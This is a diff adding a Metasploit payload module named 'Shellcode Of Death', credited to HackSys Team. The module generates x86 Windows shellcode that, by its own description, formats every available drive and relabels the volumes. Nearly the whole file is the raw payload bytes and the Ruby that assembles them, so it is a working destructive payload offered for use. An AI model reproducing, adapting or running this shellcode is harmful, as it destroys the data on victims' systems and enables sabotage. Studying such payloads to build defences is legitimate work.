1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ ###
7
+ # uuuuuuu
8
+ # uu$$$$$$$$$$$uu
9
+ # uu$$$$$$$$$$$$$$$$$uu
10
+ # u$$$$$$$$$$$$$$$$$$$$$u
11
+ # u$$$$$$$$$$$$$$$$$$$$$$$u
12
+ # u$$$$$$$$$$$$$$$$$$$$$$$$$u
13
+ # u$$$$$$$$$$$$$$$$$$$$$$$$$u
14
+ # u$$$$$$" "$$$" "$$$$$$u
15
+ # "$$$$" u$u $$$$"
16
+ # $$$u u$u u$$$
17
+ # $$$u u$$$u u$$$
18
+ # "$$$$uu$$$ $$$uu$$$$"
19
+ # "$$$$$$$" "$$$$$$$"
20
+ # u$$$$$$$u$$$$$$$u
21
+ # u$"$"$"$"$"$"$u
22
+ # uuu $$u$ $ $ $ $u$$ uuu
23
+ # u$$$$ $$$$$u$u$u$$$ u$$$$
24
+ # $$$$$uu "$$$$$$$$$" uu$$$$$$
25
+ # u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$
26
+ # $$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$"
27
+ # """ ""$$$$$$$$$$$uu ""$"""
28
+ # uuuu ""$$$$$$$$$$uuu
29
+ # u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$
30
+ # $$$$$$$$$$"""" ""$$$$$$$$$$$"
31
+ # "$$$$$" Shellcode Of ""$$$$""
32
+ # $$$" Death $$$$"
33
+ #
34
+ #
35
+ # _ __ _____
36
+ # /\ /\__ _ ___| | __/ _\_ _ ___ /__ \___ __ _ _ __ ___
37
+ # / /_/ / _` |/ __| |/ /\ \| | | / __| / /\/ _ \/ _` | '_ ` _ \
38
+ # / __ / (_| | (__| < _\ \ |_| \__ \ / / | __/ (_| | | | | | |
39
+ # \/ /_/ \__,_|\___|_|\_\\__/\__, |___/ \/ \___|\__,_|_| |_| |_|
40
+ # |___/
41
+ #
42
+ # http://hacksys.vfreaks.com/
43
+
44
+ #
45
+ #
46
+ # Shellcode Of Death
47
+ #
48
+ # Copyright (c) 2012-2013 HackSys Team - Panthera
49
+ # All rights reserved.
50
+ #
51
+ # Test bed:
52
+ # x86: Windows XP SP3, Windows 2003 SP2, Windows 7
53
+ # x64: Windows 8.1
54
+ #
55
+ ###
56
+
57
+ require 'msf/core'
58
+
59
+ module Metasploit3
60
+
61
+ include Msf ::Payload ::Windows
62
+ include Msf ::Payload ::Single
63
+
64
+ def initialize ( info = { } )
65
+ super ( update_info ( info ,
66
+ 'Name' => 'Shellcode Of Death' ,
67
+ 'Description' => %q{
68
+ Formats all the available Windows drives.
69
+
70
+ Finally sets the volume label as set by
71
+ the user. If error occurs, it skips and
72
+ proceeds formatting the next volume.
73
+ } ,
74
+ 'Author' => [ 'Ashfaq Ansari <[email protected] >' ,
75
+ 'Ruei-Min Jiang <@mike820324>'
76
+ ] ,
77
+ 'License' => MSF_LICENSE ,
78
+ 'Platform' => 'win' ,
79
+ 'Arch' => ARCH_X86 ,
80
+ 'Privileged' => true ,
81
+ ) )
82
+
83
+ # EXITFUNC is not supported
84
+ deregister_options ( 'EXITFUNC' )
85
+
86
+ # Register command execution options
87
+ register_options (
88
+ [
89
+ OptString . new ( 'VOLUMELABEL' , [ false , "Set the volume label" , "PwNeD - HackSys Team" ] )
90
+ ] , self . class )
91
+ end
92
+
93
+ def generate
94
+
95
+ volume_label = datastore [ 'VOLUMELABEL' ] || ""
96
+ encoded_volume_label = ''
97
+ temp_voulme_label = volume_label
98
+
99
+ temp_voulme_label . split ( "" ) . each do |i |
100
+ encoded_volume_label << "#{ i } " + "\x00 "
101
+ end
102
+
103
+ # Calculate the magic key
104
+ magic_key = 28 + ( 2 * volume_label . length )
105
+
106
+ # Actual payload
107
+ payload_data = "\xeb \x5a \x31 \xc0 \x8b \x34 \x83 \x01 \xd6 \x53 \x50 \x31 \xdb \x31 \xc0 \xac \xc1 \xc3 \x05 \x01 \xc3 \x83 " +
108
+ "\xf8 \x00 \x75 \xf3 \xc1 \xcb \x05 \x39 \xcb \x58 \x5b \x74 \x03 \x40 \xeb \xde \xc3 \x89 \xd0 \x8b \x40 \x3c " +
109
+ "\x8b \x44 \x02 \x78 \x8d \x04 \x02 \x50 \x8b \x40 \x20 \x8d \x1c \x02 \xe8 \xc3 \xff \xff \xff \x5b \x8b \x4b " +
110
+ "\x24 \x8d \x0c \x0a \x66 \x8b \x04 \x41 \x25 \xff \xff \x00 \x00 \x8b \x5b \x1c \x8d \x1c \x1a \x8b \x04 \x83 " +
111
+ "\x8d \x04 \x02 \xc3 \x31 \xc9 \x64 \xa1 \x30 \x00 \x00 \x00 \x8b \x40 \x0c \x8b \x40 \x1c \x8b \x50 \x08 \x8b " +
112
+ "\x78 \x20 \x8b \x00 \x3a \x4f \x18 \x75 \xf3 \x68 \x64 \x5b \x02 \xab \x68 \x10 \xa1 \x67 \x05 \x68 \xa7 \xd4 " +
113
+ "\x34 \x3b \x68 \x96 \x90 \x62 \xd7 \x68 \x87 \x8f \x46 \xec \x68 \x06 \xe5 \xb0 \xcf \x68 \xdc \xdd \x1a \x33 " +
114
+ "\x89 \xe5 \x6a \x07 \x59 \x31 \xff \x83 \xf9 \x01 \x75 \x0c \x51 \xeb \x1c \x8b \x44 \x24 \x1c \xff \xd0 \x89 " +
115
+ "\xc2 \x59 \x51 \x8b \x4c \xbd \x00 \xe8 \x6b \xff \xff \xff \x59 \x50 \x47 \xe2 \xe0 \x89 \xe5 \xeb \x0f \xe8 " +
116
+ "\xdf \xff \xff \xff \x66 \x6d \x69 \x66 \x73 \x2e \x64 \x6c \x6c \x00 \xeb \x7e \x5e \x6a \x17 \x59 \x89 \xcf " +
117
+ "\x31 \xd2 \x52 \x52 \x6a \x03 \x52 \x6a \x03 \x68 \x00 \x00 \x00 \xc0 \x56 \x8b \x5d \x14 \xff \xd3 \x50 \x83 " +
118
+ "\xec \x04 \x31 \xd2 \x52 \x8d \x5c \x24 \x04 \x53 \x52 \x52 \x52 \x52 \x68 \x20 \x00 \x09 \x00 \x50 \x8b \x5d " +
119
+ "\x08 \xff \xd3 \xff \x74 \x24 \x04 \x8b \x5d \x0c \xff \xd3 \x8d \x86 " +
120
+ # You need to adjust this. Logic: 28 + (2 * len(volume_label))
121
+ magic_key . chr +
122
+ "\x00 \x00 \x00 \x50 \x68 \x00 \x10 \x00 \x00 \x6a \x01 \x8d \x86 \x1a \x00 \x00 \x00 \x50 \x8d \x86 \x10 \x00 " +
123
+ "\x00 \x00 \x50 \x6a \x0c \x8d \x46 \x08 \x50 \x8b \x5d \x00 \xff \xd3 \x68 \xc8 \x00 \x00 \x00 \x8b \x5d \x04 " +
124
+ "\xff \xd3 \x89 \xf9 \x83 \x46 \x08 \x01 \xe2 \x8d \x6a \x00 \x8b \x5d \x10 \xff \xd3 \xe8 \x7d \xff \xff \xff " +
125
+ "\x5c \x00 \x5c \x00 \x2e \x00 \x5c \x00 \x43 \x00 \x3a \x00 \x5c \x00 \x00 \x00 \x4e \x00 \x54 \x00 \x46 \x00 " +
126
+ "\x53 \x00 \x00 \x00 " +
127
+ # Volume Label
128
+ # Default: PwNeD - HackSys Team
129
+ encoded_volume_label +
130
+ # Volume Label End
131
+ "\x00 \x00 \x55 \x89 \xe5 \x31 \xc0 \x40 \x5d \xc2 \x0c \x00 "
132
+
133
+ the_payload = payload_data
134
+ end
135
+ end
0 commit comments